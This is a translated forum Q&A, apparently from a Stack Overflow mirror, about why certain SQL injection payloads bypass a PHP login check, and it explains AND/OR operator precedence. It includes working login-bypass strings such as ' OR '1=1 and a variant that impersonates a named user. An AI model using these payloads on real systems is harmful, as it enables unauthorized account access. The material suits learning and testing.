sql 注入布尔语法

sql injection boolean syntax

我不理解我在发起注入攻击时遇到的 sql 语法问题,因此非常感谢任何解释这些问题的帮助。我有一个目标 php 登录脚本,它采用 username/password 组合,然后非常简单地运行。

 Select * FROM users WHERE username='$username' AND password='$password'

当我提供基本的

 $username = ' OR '1=1
 $password = ' OR '1=1

系统以管理员身份登录我,因为它的计算结果为

 Select * FROM users WHERE username='' OR '1=1' AND password='' OR '1=1'

并为数据库中的第一个用户条目 (admin) 获取匹配项。现在,我正在尝试让脚本以名为 adrian 的任意用户身份登录。我的想法是供应

 $username = adrian
 $password = ' OR (1=1 AND username='adrian') -- 

我认为会评估为

 Select * FROM users WHERE username='adrian' AND password='' OR (1=1 AND username='adrian') -- '

我认为不包含括号时布尔运算顺序是从左到右:

 Select * FROM users WHERE [[[username='adrian'] AND password=''] OR (1=1 AND username='adrian')] -- '

但这并没有让我像任何人一样登录(并且没有给我任何错误)。即使最后评估 AND,此语句也会评估为

 Select * FROM users WHERE [username='adrian'] AND [password='' OR (1=1 AND username='adrian')]

对于用户 adrian 来说,这仍然是正确的。同时

 $username = adrian
 $password = 'or(1=1 and username='adrian') --

正确地以 adrian 身份登录我,计算结果为

 Select * FROM users WHERE username='adrian' AND password=''or(1=1 AND username='adrian') -- '

那么,为什么我的 "OR" 方法不起作用,而我的 'or' 方法有效?

已解决:感谢您的指导。我现在理解 sql 更好了,但我真正的问题是自动填充删除了“--”之后的空格我一定是第一次搞砸了然后愚蠢地依赖自动填充从那时起

操作顺序不仅是从左到右。事实上,从左到右(或位置优先)是在评估这样的表达式时最后考虑的事情。您还必须了解 运算符优先级 ,因为这是确定此类语句行为的最重要方面。在这种情况下 AND 的优先级高于 OR.

这意味着您的语句将按如下方式运行:

Select * FROM users WHERE (username='adrian' AND password='') OR (1=1 AND username='adrian')

因此,只要有名为 adrian 的用户,您就会返回一行。

查看有关运算符优先级的 MySQL 文档 - https://dev.mysql.com/doc/refman/5.6/en/operator-precedence.html